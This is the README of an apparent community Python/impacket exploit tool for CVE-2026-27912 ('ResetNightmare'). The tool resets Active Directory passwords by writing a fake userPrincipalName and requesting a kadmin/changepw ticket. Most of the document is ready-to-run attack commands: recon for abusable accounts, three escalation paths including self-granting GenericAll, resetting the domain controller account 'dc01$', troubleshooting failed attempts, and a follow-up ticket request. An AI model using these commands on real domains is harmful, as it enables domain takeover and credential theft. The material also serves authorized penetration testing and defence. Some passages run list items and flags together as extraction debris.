
CVE-2026-27912 (ResetNightmare) — Linux/impacket port of Semperis Community's Invoke-ResetNightmare PoC
Linux / impacket tooling for CVE-2026-27912 ("ResetNightmare"). Resets a target
Active Directory account's password by requesting a kadmin/changepw TGT for an
NT_ENTERPRISE principal whose name is the target's sAMAccountName, using an
account (UPNUser) on which we can write a fake userPrincipalName.
Python port of the Semperis Community Invoke-ResetNightmare
PowerShell tool (see Credits).
For authorized security testing and educational use only. This tool changes real Active Directory credentials and can lock accounts out.
GenericAll, set its password, enable it.sAMAccountName.UPNUser.userPrincipalName = <targetSAN> (the fake UPN).NT_ENTERPRISE '<targetSAN>' for kadmin/changepw — the KDC maps the
enterprise UPN to the target and issues a change-password TGT for it.--upn-user--upn-user is the account you write the fake UPN on (a user, or a computer with
--computer). The only requirement is that you can write its userPrincipalName.
There are three ways to get that — the same ones the PowerShell original relies on:
So you do not necessarily need to control an OU — path B works off delegated
rights on any single account. But you need one of A/B/C. Run --find to
see which you have.
A domain computer alone is not enough. A machine you're local admin on / hold the hash for — but have no AD write rights on — gives you none of A/B/C. And a computer created via MachineAccountQuota (
addcomputer.pyintoCN=Computers) does not work either: its creator is not the owner and gets no UPN write, so both the direct write and--grant-selffail withresult 50. Use path A with a delegated OU.
python3 -m venv venv
./venv/bin/pip install -r requirements.txt
Operator credentials are the first positional argument: [domain/]username[:password].
Any password may be omitted and you'll be prompted for it.
Recon — what can this account abuse? Reports accounts you can write a UPN on, OUs you can create objects in, and the MachineAccountQuota, with suggested commands:
./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
--dc-ip 10.0.0.10 --find
Each finding prints its via: reason(s) and the object's owner:. The owner tells the
two computer-creation paths apart at a glance — a delegated-container computer shows
owner: <you> (you have implicit WRITE_DAC, so --grant-self works), while a MAQ /
CN=Computers one shows owner: BUILTIN\Administrators (you don't, so it can't be used):
=== Accounts you can write a UPN on (use as --upn-user) ===
[+] svc_web CN=svc_web,OU=Services,DC=corp,DC=local
via: WriteProperty(userPrincipalName)
owner: Domain Admins
Reset a target using an account you can write a UPN on:
./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
--dc-ip 10.0.0.10 \
--upn-user svc_web --upn-user-password 'Svc#2026' \
--target-account 'dc01$' \
--target-new-password 'N3wPassw0rd!'
Create the UPN account first (needs Create Child on the OU, and LDAPS):
./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
--dc-ip 10.0.0.10 \
--create-new-path 'OU=Staging,OU=Corp,DC=corp,DC=local' \
--upn-user pwned_user --upn-user-password 'N3wUpnPass1!' \
--target-account 'dc01$' \
--target-new-password 'N3wPassw0rd!'
Create a computer account as the UPN account (--create-new-path + --computer):
./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
--dc-ip 10.0.0.10 \
--create-new-path 'OU=Staging,OU=Corp,DC=corp,DC=local' --computer \
--upn-user 'pwned_pc$' --upn-user-password 'N3wUpnPass1!' \
--target-account 'dc01$' \
--target-new-password 'N3wPassw0rd!'
Existing account where you can rewrite the DACL but not write the UPN (--grant-self).
When --find reports a --upn-user reachable via Owner or WriteDacl (you can
change its ACL but have no direct property write), --grant-self adds a GenericAll ACE for
you first, then the attack proceeds. Only for existing accounts — --create-new-path
already grants itself.
./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
--dc-ip 10.0.0.10 --grant-self \
--upn-user svc_legacy --upn-user-password 'Svc#2026' \
--target-account 'dc01$' \
--target-new-password 'N3wPassw0rd!'
If
--grant-selfitself fails withresult 50, you are not the owner and have no WriteDacl on that account — it can't help. This is the usual outcome for a computer you created viaaddcomputer.py/MAQ: creators typically get neither ownership nor a UPN write, so MAQ computers are not usable as--upn-user. Run--findand pick an account it flags asWriteProperty(userPrincipalName),GenericWrite,GenericAll,Owner, orWriteDacl.
Add -debug for verbose AS-REQ / LDAP / kpasswd logging.
Passwords are prompted for interactively when omitted.
--create-new-path failures:
result 50, insufficientAccessRights on "Setting a fake UPN": your operator has no
WriteProperty(userPrincipalName) on --upn-user. If you can rewrite that account's DACL
(you're its Owner or have WriteDacl), add --grant-self to grant yourself
GenericAll first. If --grant-self also returns result 50, you have neither — pick a
different account with --find.
A computer you created via
addcomputer.py/MAQ is not a fix here: MAQ creators usually get neither ownership norWriteProperty(UPN), so both the UPN write and--grant-selffail withresult 50. Don't rely on MAQ for--upn-user.
Notes:
unicodePwd writes over TLS, so
--create-new-path needs it. Use --no-ssl only for read/UPN-only paths.--find reports only allow ACEs granted to you or your groups (plus object
ownership and MachineAccountQuota); deny ACEs and cross-domain memberships aren't
fully evaluated. An empty result is not proof there's no path — verify before use.The tool prints a follow-up to obtain a usable ticket as the target:
getTGT.py -dc-ip 10.0.0.10 'CORP.LOCAL/dc01$:N3wPassw0rd!'
Invoke-ResetNightmare PowerShell tool this project ports.ldaptypes primitives.Independent community port; not affiliated with or endorsed by Semperis.
MIT © 2026 mihat2.
| # | How you get UPN-write | Flag | Needs an OU? |
|---|
| A | Create the account in an OU where you have Create Child → you own it → the tool self-grants GenericAll → writes the UPN | --create-new-path | Yes |
| B | An existing account you already have GenericWrite / GenericAll / WriteProperty(userPrincipalName) on | (none) | No |
| C | An existing account you own or have WriteDacl on (no direct property write) | --grant-self | No |
| Flag | Meaning |
|---|
<positional> | Operator creds: [domain/]username[:password] |
--target-account | sAMAccountName to reset (computer accounts end with $) |
--target-new-password | New password to set on the target |
--upn-user | Account to write the fake UPN on (or create with --create-new-path) |
--upn-user-password | Cleartext password of --upn-user |
--computer | Treat --upn-user as a machine account |
--create-new-path <DN> | OU/Container to create --upn-user in first (needs LDAPS) |
--grant-self | Grant the operator GenericAll on an existing --upn-user you own before writing the UPN (needs ownership / WriteDacl) |
--find | Recon: report abusable accounts/OUs (with each finding's owner) + suggested commands, then exit |
--list-ous | List OUs/containers and exit (pick a valid --create-new-path) |
--aes-key <hex> | AES key of --upn-user for the AS-REQ instead of a password |
--upn-user-hash <NT> | NT hash (or LM:NT) of --upn-user for the AS-REQ instead of a password |
-k, --kerberos | Kerberos (SASL/GSSAPI) LDAP bind (uses KRB5CCNAME) |
-H LM:NT | Pass-the-hash LDAP (NTLM) bind |
--no-pass | Don't prompt for a password (use -k / KRB5CCNAME) |
--dc-host | DC hostname/FQDN (for Kerberos SPNs) |
--dc-ip | DC IP address |
--no-ssl | Plain LDAP/389 (incompatible with --create-new-path) |
--supported-encryption | Preferred enctype, informational (default aes256) |
-debug | Verbose logging |
| Symptom | Cause | Fix |
|---|
result 50, insufficientAccessRights | The OU exists but you have no Create Child right on it. | Use an OU you can write to (--list-ous / --find), or drop --create-new-path and abuse an existing account via --upn-user. |
result 32, noSuchObject — best match: DC=corp,DC=local | The DN's parent chain doesn't exist (partial/guessed DN). | Enumerate with --list-ous and paste the full nested DN. OUs are nested; a name alone isn't its path. |
result 53, unwillingToPerform on the password step | unicodePwd write over a non-TLS channel, or a weak password vs. policy. | Keep LDAPS (don't pass --no-ssl); use a compliant password. |